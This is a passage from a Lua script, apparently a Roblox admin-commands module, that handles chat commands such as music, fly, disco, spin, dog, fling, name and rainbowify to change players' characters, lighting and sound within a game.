  7362. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  7363. end
  7364. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  7365. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  7366. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  7367. local torso = plr.Character.Torso
  7368. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  7369. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  7370. p.Size = Vector3.new(.2,.2,.2)
  7371. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  7372. local motor1 = Instance.new("Motor", p)
  7373. motor1.Part0 = p
  7374. motor1.Part1 = torso
  7375. motor1.MaxVelocity = .01
  7376. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  7377. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  7378. local wave = false
  7379. repeat wait(1/44)
  7380. local ang = 0.1
  7381. local oldmag = torso.Velocity.magnitude
  7382. local mv = .002
  7383. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  7384. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  7385. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  7386. motor1.DesiredAngle = -ang
  7387. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  7388. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
  7389. if torso.Velocity.magnitude < .1 then wait(.1) end
  7390. until not p or p.Parent ~= torso.Parent
  7391. script:Destroy()
  7392. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  7393. end
  7394. end))
  7395. end
  7396. end
  7397.  
  7398. if msg:lower():sub(1,6) == "music " then
  7399. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  7400. local id = msg:sub(7)
  7401. local pitch = 1
  7402. if tostring(id):lower():find("caramell") then id = 2303479 end
  7403. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  7404. if tostring(id):find("rick") then id = 2027611 end
  7405. if tostring(id):find("halo") then id = 1034065  end
  7406. if tostring(id):find("pokemon") then id = 1372261 end
  7407. if tostring(id):find("cursed") then id = 1372257 end
  7408. if tostring(id):find("extreme") then id = 11420933 end
  7409. if tostring(id):find("awaken") then id = 27697277 end
  7410. if tostring(id):find("alone") then id = 27697392 end
  7411. if tostring(id):find("mario") then id = 1280470 end
  7412. if tostring(id):find("choir") then id = 1372258 end
  7413. if tostring(id):find("chrono") then id = 1280463 end
  7414. if tostring(id):find("dotr") then id = 11420922 end
  7415. if tostring(id):find("entertain") then id = 27697267 end
  7416. if tostring(id):find("fantasy") then id = 1280473 end
  7417. if tostring(id):find("final") then id = 1280414 end
  7418. if tostring(id):find("emblem") then id = 1372259 end
  7419. if tostring(id):find("flight") then id = 27697719 end
  7420. if tostring(id):find("banjo") then id = 27697298 end
  7421. if tostring(id):find("gothic") then id = 27697743 end
  7422. if tostring(id):find("hiphop") then id = 27697735 end
  7423. if tostring(id):find("intro") then id = 27697707 end
  7424. if tostring(id):find("mule") then id = 1077604 end
  7425. if tostring(id):find("film") then id = 27697713 end
  7426. if tostring(id):find("nezz") then id = 8610025 end
  7427. if tostring(id):find("angel") then id = 1372260 end
  7428. if tostring(id):find("resist") then id = 27697234 end
  7429. if tostring(id):find("schala") then id = 5985787 end
  7430. if tostring(id):find("organ") then id = 11231513 end
  7431. if tostring(id):find("tunnel") then id = 9650822 end
  7432. if tostring(id):find("spanish") then id = 5982975 end
  7433. if tostring(id):find("venom") then id = 1372262 end
  7434. if tostring(id):find("wind") then id = 1015394 end
  7435. if tostring(id):find("guitar") then id = 5986151 end
  7436. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  7437. end
  7438.  
  7439. if msg:lower() == "stopmusic" then
  7440. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  7441. end
  7442.  
  7443. if msg:lower() == "musiclist" then
  7444. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  7445. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  7446. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  7447. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  7448. end
  7449.  
  7450. if msg:lower():sub(1,4) == "fly " then
  7451. local plrz = GetPlr(plr, msg:lower():sub(5))
  7452. for i, v in pairs(plrz) do
  7453. coroutine.resume(coroutine.create(function()
  7454. if v and v:findFirstChild("PlayerGui") then
  7455. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  7456. local mouse = game.Players.LocalPlayer:GetMouse()
  7457. repeat wait() until mouse
  7458. local plr = game.Players.LocalPlayer
  7459. local torso = plr.Character.Torso
  7460. local flying = true
  7461. local deb = true
  7462. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  7463. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  7464. local maxspeed = 50
  7465. local speed = 0
  7466. function Fly()
  7467. local bg = Instance.new("BodyGyro", torso)
  7468. bg.P = 9e4
  7469. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  7470. bg.cframe = torso.CFrame
  7471. local bv = Instance.new("BodyVelocity", torso)
  7472. bv.velocity = Vector3.new(0,0.1,0)
  7473. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  7474. repeat wait()
  7475. plr.Character.Humanoid.PlatformStand = true
  7476. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  7477. speed = speed+.5+(speed/maxspeed)
  7478. if speed > maxspeed then
  7479. speed = maxspeed
  7480. end
  7481. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  7482. speed = speed-1
  7483. if speed < 0 then
  7484. speed = 0
  7485. end
  7486. end
  7487. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  7488. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  7489. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  7490. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  7491. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  7492. else
  7493. bv.velocity = Vector3.new(0,0.1,0)
  7494. end
  7495. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  7496. until not flying
  7497. ctrl = {f = 0, b = 0, l = 0, r = 0}
  7498. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  7499. speed = 0
  7500. bg:Destroy()
  7501. bv:Destroy()
  7502. plr.Character.Humanoid.PlatformStand = false
  7503. end
  7504. mouse.KeyDown:connect(function(key)
  7505. if key:lower() == "e" then
  7506. if flying then flying = false
  7507. else
  7508. flying = true
  7509. Fly()
  7510. end
  7511. elseif key:lower() == "w" then
  7512. ctrl.f = 1
  7513. elseif key:lower() == "s" then
  7514. ctrl.b = -1
  7515. elseif key:lower() == "a" then
  7516. ctrl.l = -1
  7517. elseif key:lower() == "d" then
  7518. ctrl.r = 1
  7519. end
  7520. end)
  7521. mouse.KeyUp:connect(function(key)
  7522. if key:lower() == "w" then
  7523. ctrl.f = 0
  7524. elseif key:lower() == "s" then
  7525. ctrl.b = 0
  7526. elseif key:lower() == "a" then
  7527. ctrl.l = 0
  7528. elseif key:lower() == "d" then
  7529. ctrl.r = 0
  7530. end
  7531. end)
  7532. Fly()]]
  7533. cl.Parent = v.PlayerGui cl.Disabled = false
  7534. end
  7535. end))
  7536. end
  7537. end
  7538.  
  7539. if msg:lower():sub(1,6) == "unfly " then
  7540. local plrz = GetPlr(plr, msg:lower():sub(7))
  7541. for i, v in pairs(plrz) do
  7542. coroutine.resume(coroutine.create(function()
  7543. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  7544. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  7545. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  7546. wait(.1) v.Character.Humanoid.PlatformStand = false
  7547. end
  7548. end))
  7549. end
  7550. end
  7551.  
  7552. if msg:lower() == "disco" then
  7553. for i, v in pairs(lobjs) do v:Destroy() end
  7554. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  7555. game.Lighting.Ambient = color
  7556. game.Lighting.FogColor = color
  7557. until nil]]
  7558. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  7559. end
  7560.  
  7561. if msg:lower() == "flash" then
  7562. for i, v in pairs(lobjs) do v:Destroy() end
  7563. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  7564. game.Lighting.Ambient = Color3.new(1,1,1)
  7565. game.Lighting.FogColor = Color3.new(1,1,1)
  7566. game.Lighting.Brightness = 1
  7567. game.Lighting.TimeOfDay = 14
  7568. wait(.1)
  7569. game.Lighting.Ambient = Color3.new(0,0,0)
  7570. game.Lighting.FogColor = Color3.new(0,0,0)
  7571. game.Lighting.Brightness = 0
  7572. game.Lighting.TimeOfDay = 0
  7573. until nil]]
  7574. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  7575. end
  7576.  
  7577. if msg:lower():sub(1,5) == "spin " then
  7578. local plrz = GetPlr(plr, msg:lower():sub(6))
  7579. for i, v in pairs(plrz) do
  7580. coroutine.resume(coroutine.create(function()
  7581. if v and v.Character and v.Character:findFirstChild("Torso") then
  7582. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  7583. local torso = v.Character:findFirstChild("Torso")
  7584. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  7585. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  7586. until not bg or bg.Parent ~= torso
  7587. end
  7588. end))
  7589. end
  7590. end
  7591.  
  7592. if msg:lower():sub(1,7) == "unspin " then
  7593. local plrz = GetPlr(plr, msg:lower():sub(8))
  7594. for i, v in pairs(plrz) do
  7595. coroutine.resume(coroutine.create(function()
  7596. if v and v.Character and v.Character:findFirstChild("Torso") then
  7597. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  7598. end
  7599. end))
  7600. end
  7601. end
  7602.  
  7603. if msg:lower():sub(1,4) == "dog " then
  7604. local plrz = GetPlr(plr, msg:lower():sub(5))
  7605. for i, v in pairs(plrz) do
  7606. coroutine.resume(coroutine.create(function()
  7607. if v and v.Character and v.Character:findFirstChild("Torso") then
  7608. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7609. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7610. v.Character.Torso.Transparency = 1
  7611. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7612. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  7613. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  7614. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  7615. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  7616. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  7617. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  7618. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  7619. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  7620. end
  7621. end))
  7622. end
  7623. end
  7624.  
  7625. if msg:lower():sub(1,6) == "undog " then
  7626. local plrz = GetPlr(plr, msg:lower():sub(7))
  7627. for i, v in pairs(plrz) do
  7628. coroutine.resume(coroutine.create(function()
  7629. if v and v.Character and v.Character:findFirstChild("Torso") then
  7630. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  7631. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  7632. v.Character.Torso.Transparency = 0
  7633. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7634. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  7635. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  7636. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  7637. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  7638. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  7639. end
  7640. end))
  7641. end
  7642. end
  7643.  
  7644. if msg:lower():sub(1,8) == "creeper " then
  7645. local plrz = GetPlr(plr, msg:lower():sub(9))
  7646. for i, v in pairs(plrz) do
  7647. coroutine.resume(coroutine.create(function()
  7648. if v and v.Character and v.Character:findFirstChild("Torso") then
  7649. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7650. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7651. v.Character.Torso.Transparency = 0
  7652. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7653. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  7654. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  7655. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  7656. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  7657. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  7658. end
  7659. end))
  7660. end
  7661. end
  7662.  
  7663. if msg:lower():sub(1,10) == "uncreeper " then
  7664. local plrz = GetPlr(plr, msg:lower():sub(11))
  7665. for i, v in pairs(plrz) do
  7666. coroutine.resume(coroutine.create(function()
  7667. if v and v.Character and v.Character:findFirstChild("Torso") then
  7668. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  7669. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  7670. v.Character.Torso.Transparency = 0
  7671. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7672. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  7673. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  7674. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  7675. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  7676. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  7677. end
  7678. end))
  7679. end
  7680. end
  7681.  
  7682. if msg:lower():sub(1,8) == "bighead " then
  7683. local plrz = GetPlr(plr, msg:lower():sub(9))
  7684. for i, v in pairs(plrz) do
  7685. coroutine.resume(coroutine.create(function()
  7686. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  7687. end))
  7688. end
  7689. end
  7690.  
  7691. if msg:lower():sub(1,9) == "minihead " then
  7692. local plrz = GetPlr(plr, msg:lower():sub(10))
  7693. for i, v in pairs(plrz) do
  7694. coroutine.resume(coroutine.create(function()
  7695. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  7696. end))
  7697. end
  7698. end
  7699.  
  7700. if msg:lower():sub(1,6) == "fling " then
  7701. local plrz = GetPlr(plr, msg:lower():sub(7))
  7702. for i, v in pairs(plrz) do
  7703. coroutine.resume(coroutine.create(function()
  7704. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  7705. local xran local zran
  7706. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  7707. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  7708. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  7709. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  7710. end
  7711. end))
  7712. end
  7713. end
  7714.  
  7715. if msg:lower():sub(1,8) == "seizure " then
  7716. local plrz = GetPlr(plr, msg:lower():sub(9))
  7717. for i, v in pairs(plrz) do
  7718. coroutine.resume(coroutine.create(function()
  7719. if v and v.Character then
  7720. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  7721. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  7722. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  7723. end
  7724. end))
  7725. end
  7726. end
  7727.  
  7728. if msg:lower():sub(1,10) == "unseizure " then
  7729. local plrz = GetPlr(plr, msg:lower():sub(11))
  7730. for i, v in pairs(plrz) do
  7731. coroutine.resume(coroutine.create(function()
  7732. if v and v.Character then
  7733. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  7734. wait(.1) v.Character.Humanoid.PlatformStand = false
  7735. end
  7736. end))
  7737. end
  7738. end
  7739.  
  7740. if msg:lower():sub(1,12) == "removelimbs " then
  7741. local plrz = GetPlr(plr, msg:lower():sub(13))
  7742. for i, v in pairs(plrz) do
  7743. coroutine.resume(coroutine.create(function()
  7744. if v and v.Character then
  7745. for a, obj in pairs(v.Character:children()) do
  7746. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  7747. end
  7748. end
  7749. end))
  7750. end
  7751. end
  7752.  
  7753. if msg:lower():sub(1,5) == "name " then
  7754. local chk1 = msg:lower():sub(6):find(" ") + 5
  7755. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7756. for i, v in pairs(plrz) do
  7757. coroutine.resume(coroutine.create(function()
  7758. if v and v.Character and v.Character:findFirstChild("Head") then
  7759. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  7760. local char = v.Character
  7761. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  7762. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  7763. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  7764. char.Head.Transparency = 1
  7765. end
  7766. end))
  7767. end
  7768. end
  7769.  
  7770. if msg:lower():sub(1,7) == "unname " then
  7771. local plrz = GetPlr(plr, msg:lower():sub(8))
  7772. for i, v in pairs(plrz) do
  7773. coroutine.resume(coroutine.create(function()
  7774. if v and v.Character and v.Character:findFirstChild("Head") then
  7775. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  7776. end
  7777. end))
  7778. end
  7779. end
  7780.  
  7781. if msg:lower():sub(1,5) == "char " then
  7782. local chk1 = msg:lower():sub(6):find(" ") + 5
  7783. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7784. for i, v in pairs(plrz) do
  7785. coroutine.resume(coroutine.create(function()
  7786. if v and v.Character then
  7787. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  7788. v:LoadCharacter()
  7789. end
  7790. end))
  7791. end
  7792. end
  7793.  
  7794. if msg:lower():sub(1,7) == "unchar " then
  7795. local plrz = GetPlr(plr, msg:lower():sub(8))
  7796. for i, v in pairs(plrz) do
  7797. coroutine.resume(coroutine.create(function()
  7798. if v and v.Character then
  7799. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  7800. v:LoadCharacter()
  7801. end
  7802. end))
  7803. end
  7804. end
  7805.  
  7806. if msg:lower():sub(1,7) == "infect " then
  7807. local plrz = GetPlr(plr, msg:lower():sub(8))
  7808. for i, v in pairs(plrz) do
  7809. coroutine.resume(coroutine.create(function()
  7810. if v and v.Character then
  7811. Infect(v.Character)
  7812. end
  7813. end))
  7814. end
  7815. end
  7816.  
  7817. if msg:lower():sub(1,11) == "rainbowify " then
  7818. local plrz = GetPlr(plr, msg:lower():sub(12))
  7819. for i, v in pairs(plrz) do
  7820. coroutine.resume(coroutine.create(function()
  7821. if v and v.Character and v.Character:findFirstChild("Torso") then
  7822. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7823. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7824. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7825. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  7826. cl.Parent = v.Character cl.Disabled = false
  7827. end
  7828. end))
  7829. end
  7830. end
  7831.  
  7832. if msg:lower():sub(1,9) == "flashify " then
  7833. local plrz = GetPlr(plr, msg:lower():sub(10))
  7834. for i, v in pairs(plrz) do
  7835. coroutine.resume(coroutine.create(function()
  7836. if v and v.Character and v.Character:findFirstChild("Torso") then
  7837. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7838. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7839. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7840. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  7841. cl.Parent = v.Character cl.Disabled = false
  7842. end
  7843. end))
  7844. end
  7845. end
  7846.  
  7847. if msg:lower():sub(1,8) == "noobify " then
  7848. local plrz = GetPlr(plr, msg:lower():sub(9))
  7849. for i, v in pairs(plrz) do
  7850. coroutine.resume(coroutine.create(function()
  7851. if v and v.Character then
  7852. Noobify(v.Character)
  7853. end
  7854. end))
  7855. end
  7856. end
  7857.  
  7858. if msg:lower():sub(1,9) == "ghostify " then
  7859. local plrz = GetPlr(plr, msg:lower():sub(10))
  7860. for i, v in pairs(plrz) do
  7861. coroutine.resume(coroutine.create(function()
  7862. if v and v.Character and v.Character:findFirstChild("Torso") then
  7863. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7864. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7865. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7866. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7867. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  7868. if prt.Name:find("Leg") then prt.Transparency = 1 end
  7869. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  7870. end end
  7871. end
  7872. end))
  7873. end
  7874. end
  7875.  
  7876. if msg:lower():sub(1,8) == "goldify " then
  7877. local plrz = GetPlr(plr, msg:lower():sub(9))
  7878. for i, v in pairs(plrz) do
  7879. coroutine.resume(coroutine.create(function()
  7880. if v and v.Character and v.Character:findFirstChild("Torso") then
  7881. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7882. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7883. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7884. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7885. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  7886. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  7887. end end
  7888. end
  7889. end))
  7890. end
  7891. end
  7892.  
  7893. if msg:lower():sub(1,6) == "shiny " then
